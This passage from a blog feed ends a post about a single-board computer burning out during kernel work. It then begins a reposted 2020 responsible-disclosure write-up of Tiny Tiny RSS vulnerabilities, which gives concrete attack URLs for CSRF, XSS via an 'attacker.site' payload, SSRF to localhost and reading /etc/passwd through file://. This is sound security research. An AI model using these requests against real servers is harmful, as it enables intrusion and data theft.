Arch.</p><p>But the win wasn&#8217;t complete. I had no graphical interface at all. HDMI was dead, and the LCD panel was equally lifeless. My only interaction points were UART and a USB keyboard&#8212;no framebuffer output, no X, no console. That&#8217;s when I realized the graphics stack was actually disabled in my kernel config. It wasn&#8217;t even <em>trying</em> to light up the display. So I recompiled the kernel with the necessary graphics options enabled, put all the pieces back together, and prepared for the moment of truth&#8212;finally seeing something on HDMI or the LCD.</p><p>I powered it on. And then&#8212;smoke. A thin, unmistakable wisp, curling up from the board. My stomach dropped. I killed power instantly, heart racing. No obvious scorch marks, no melted traces&#8212;just that acrid smell.</p><h1>The end of the road</h1><p>Still hoping it might have been some transient glitch, I decided to boot the original Linaro image&#8212;maybe my kernel tweaks were somehow overdriving something. I powered it on again. This time, within a second, more smoke. That was it. Game over.</p><p>With no soldering and electronics repair skills, and knowing that hiring a shop to diagnose and fix it would cost more than the board&#8217;s worth, the decision was made for me. Even if I replaced it, there&#8217;d be no reason to buy an ancient, unsupported platform again. A newer board would make far more sense for the smart home controller I&#8217;d been building toward.</p><p>So the CubieAIO project ends here&#8212;not in success, but in a smoking crater of lessons learned. Still, it wasn&#8217;t a waste. The deep dive into U-Boot, DTS porting, DRAM tuning, and kernel bring-up taught me more than I expected, and every scrap of work I did will be open-sourced <a href="https://github.com/danielonsecurity">on my GitHub</a> for anyone who wants to continue where I left off (after I clean up some stuff to make it open source). It might have died on my desk, but maybe it&#8217;ll live on in someone else&#8217;s hands.</p><p><em>I set out to bring Linux back from the dead. Instead, I gave this board the most metal funeral imaginable: death by mainline kernel. Rest in peace, CubieAIO. Your sacrifice taught me more than success ever could.</em></p><blockquote><p><strong>Theories on the Smoke</strong>: That first wisp from the power region suggests a <strong>voltage regulator (PMIC) or capacitor failure</strong> &#8211; possibly aged components stressed by my DRAM/GPU initialization. When smoke later poured from beneath the Einstein module, it pointed to <strong>hidden damage under the SoC</strong> or PCB layers. I see no visible burns. That&#8217;s classic for <strong>short-circuited internal traces</strong> or a <strong>fried power plane</strong> &#8211; flaws only microscopes or multimeters catch. If I had to bet: <strong>decade-old capacitors</strong> finally gave out when the mainline kernel enabled power-hungry subsystems. <em>But I don&#8217;t know for sure &#8211; and that&#8217;s the haunting beauty of resurrecting the dead.</em></p></blockquote><blockquote><p><strong>P.S.</strong> If you have any suggestions or ideas on what I could do next with this device or the project, please drop a comment below. For now, I&#8217;m keeping it as a trophy&#8212;a reminder of the board I literally fried while pushing its limits. But who knows? Maybe there&#8217;s still some resurrection left in it. I&#8217;d love to hear your thoughts.</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Exploiting Tiny Tiny RSS (2020)]]></title><description><![CDATA[In August of 2020, we decided to analyze Tiny Tiny RSS web application for security vulnerabilities. We had great success in doing so, and this blog post will describe how we found and exploited them.]]></description><link>https://blog.neagaru.com/p/exploiting-tiny-tiny-rss-2020</link><guid isPermaLink="false">https://blog.neagaru.com/p/exploiting-tiny-tiny-rss-2020</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Fri, 20 Jun 2025 21:20:22 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1xds!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>This article has been published in 2020, after me and Benjamin Nadarevi&#263; worked together on it. The original website is no longer up, so I decided to repost it here.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1xds!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1xds!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 424w, https://substackcdn.com/image/fetch/$s_!1xds!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 848w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1272w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png" width="1456" height="686" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/de8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:686,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:277673,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166428901?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1xds!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 424w, https://substackcdn.com/image/fetch/$s_!1xds!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 848w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1272w, https://substackcdn.com/image/fetch/$s_!1xds!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8d8422-ae9a-4d25-85e6-77f41fac86c0_1911x901.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p><em>Andrew Dolgov (main tt-rss developer) has resolved all the issues fast and it was a pleasure to do the disclosure with him. For a period of three days since our first contact with him, many security related changes were pushed, and with <a href="https://git.tt-rss.org/fox/tt-rss/commit/3588d5186ef7321fa573adbb62f42b05d7a138be">last commit</a> the gettext CVE finding was fixed. You can follow the discussion about our findings and fixes in the <a href="https://community.tt-rss.org/t/heads-up-several-vulnerabilities-fixed/3799">TinyTinyRSS Community forum</a>.</em></p><p>You can read the whole <a href="http://neagaru.com/pdfs/TinyTinyRSS.pdf">PDF report here</a>. Inside the report you will see mentions of the proof of concept (PoC) scripts. <s>We have deliberately not published them to prevent script kiddie attacks. </s> The exploit code was published a while after the fixes were released and can be found on <a href="https://www.exploit-db.com/exploits/49606">Exploit-DB</a>.</p><h1>Forcing subscribe and logout</h1><p>After cloning <a href="https://git.tt-rss.org/fox/tt-rss/">the repository</a> first file we analyzed was in <code>classes/handler/public.php</code> as that was part that was accessible while unauthenticated. What we immediately noticed is that some functionalities there are not protected by CSRF token. At this time, logout and subscribe functions seemed like the only ones worth exploiting in this manner.</p><p>For forcefully subscribing user to your feed one can send GET requests to this URL: <code>/public.php?op=subscribe&amp;feed_url=http://your-site.com</code></p><p>For annoying user by logging them out, one can use this URL: <code>/public.php?op=logout</code></p><p>Incorporating these URLs into image tag in feed could be used for denial of service of sorts by subscribing users to a lot of unwanted feeds or logging him out whenever he views feed. However, this seemed more like an annoyance than a genuinely critical issue.</p><h1>Interesting password processing</h1><p>Thinking there is nothing left to see in the <code>public.php</code> file, we decided to explore webapp a bit without looking at the source code. Specifically, we were hunting for XSS vulnerabilities. We noticed that when login failed, the username would be visible in system logs (preferences-&gt;event log with an admin account), so we wanted to check if this could lead to XSS. Logging in with username <code>test&lt;aaa</code> yielded an interesting result.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7CF0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7CF0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 424w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 848w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1272w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png" width="867" height="304" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:304,&quot;width&quot;:867,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!7CF0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 424w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 848w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1272w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As we can see, only the part before <code>&lt;</code> got processed, and the rest was truncated.</p><p>We decided to check if it processes passwords the same way by adding <code>&lt;randomgarbage</code> to a valid password. To our surprise, we successfully logged in! This looks like a harmless gimmick initially as it gains no advantage to an attacker, but there is a curious edge-case.</p><p>Assume the user sets his/her password to <code>a&lt;verysecurepassword</code>, tt-rss gives no warning that <code>&lt;</code> should not be used in a password. Next time the user logs in with <code>a&lt;verysecurepassword</code>, it will be successful, but the only part before <code>&lt;</code> is being processed! Therefore it is also possible to log in just by using password <code>a</code>!</p><h1>Imgproxy - path to RCE</h1><p>We decided to go back to source code analysis again. We rechecked <code>public.php</code> to see if we missed something. Indeed there was an interesting function: <code>pluginhandler</code>. tt-rss comes with several plugins installed by default (more can be added, but we were only interested in exploiting default tt-rss), and each has an <code>init.php</code> file with plugin class defined. With <code>pluginhandler</code> function, one can call public methods of plugin class (plugin name goes in <code>plugin</code> parameter and method name in <code>pmethod</code>). So we decided to check if there are any exploitable public methods.</p><p>After changing directory to <code>tt-rss/plugins</code> we grepped for <code>public function</code>. Method <code>imgproxy</code> in <code>af_proxy_http</code> plugin looked interesting.</p><p><strong>It should be noted that none of the vulnerabilities found require plugin to be enabled, it just needs to be installed (and it is, by default).</strong></p><p>At first there was slight disappointment, cause right at the beginning of the method, there was the following code:</p><pre><code><code>$url = rewrite_relative_url(get_self_url_prefix(), $_REQUEST["url"]);
// called without user context, let's just redirect to original URL

if (!$_SESSION["uid"]) {
        header("Location: $url");
        return;
}
</code></code></pre><p>We can supply the <code>url</code> parameter, but a redirect will be made to that URL (open redirect is not a significant attack vector for this web app) when unauthenticated. However, we decided to analyze the plugin further to see if feasible attack vectors could use minimal user interaction.</p><h2>First XSS vulnerability</h2><p>Code continues like this:</p><pre><code><code>$local_filename = sha1($url);
...
$data = fetch_file_contents(["url" =&gt; $url, "max_size" =&gt; MAX_CACHE_FILE_SIZE]);
...
if (!$disable_cache) {
    if ($this-&gt;cache-&gt;put($local_filename, $data)) {
          header("Location: " . $this-&gt;cache-&gt;getUrl($local_filename));
          return;
          }
}
</code></code></pre><p>If user is authenticated and makes the request with <code>url</code> parameter, the plugin will compute sha1 hash of the URL, which will be the filename. The plugin will fetch the content hosted at the URL (using <code>libcurl</code> if it is installed) and store it at <code>{ttrss directory}/cache/images/{sha1 sum of the url}</code>, the file can also be accessed using <code>cached_view</code> functionality in <code>public.php</code>: <code>/public.php?op=cached_url&amp;file=images/{sha1 sum of the url}</code></p><p>What raised our suspicious is that we could not find any code enforcing that this file needs to be delivered as an image, so we tried to upload the HTML page and execute javascript.</p><p>Turns out it was successful! If the URL of the payload is supplied in the <code>url</code> parameter, the plugin will fetch the payload, store it in the cache directory, and then redirect users to view stored files.<br>Thus if the user clicks a link like this, javascript code can be executed:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://attacker.site/xss.html</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!65cy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!65cy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 424w, https://substackcdn.com/image/fetch/$s_!65cy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 848w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1272w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png" width="1232" height="628" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/db667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:628,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;60eb4a4da519ab8aa9656ac8defb9f68&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="60eb4a4da519ab8aa9656ac8defb9f68" title="60eb4a4da519ab8aa9656ac8defb9f68" srcset="https://substackcdn.com/image/fetch/$s_!65cy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 424w, https://substackcdn.com/image/fetch/$s_!65cy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 848w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1272w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25789">CVE-2020-25789</a> was assigned to keep track of this vulnerability.</p><h2>SSRF</h2><p>In addition to not enforcing MIME type, we also noticed a lack of internal address filtering. In other words, making requests to internal services was possible as an authenticated user.</p><p>An authenticated user could request this:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://127.0.0.1:1234/sensitiveInternalPage.html</code></p><p>Alternatively, an unauthenticated attacker could leverage XSS described in the previous section to scan internal services.</p><h2>LFI</h2><p>We looked again at how <code>af_proxy_http</code> fetches content. In <code>plugins/af_proxy_http/init.php</code> the following line can be seen:<br><code>$data = fetch_file_contents(["url" =&gt; $url, "max_size" =&gt; MAX_CACHE_FILE_SIZE]);</code></p><p>Function <code>fetch_file_contents</code> is not a native PHP function but rather a custom function written by tt-rss developers. If <code>libcurl</code> is installed, it uses it to fetch content from the requested URL (if <code>libcurl</code> is not installed, it uses <code>file_get_contents</code>). Plenty of protocols are supported by <code>libcurl</code>, including <code>file://</code>, again we noticed no filtering or enforcing that URL needs to be HTTP URL. JThus we figured reading local files must be possible.</p><p>First attempt failed:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=file:///etc/passwd</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Lt3U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 424w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 848w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1272w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png" width="1025" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1025,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ec2a357b91a9c73101abe05c18c63154&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ec2a357b91a9c73101abe05c18c63154" title="ec2a357b91a9c73101abe05c18c63154" srcset="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 424w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 848w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1272w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 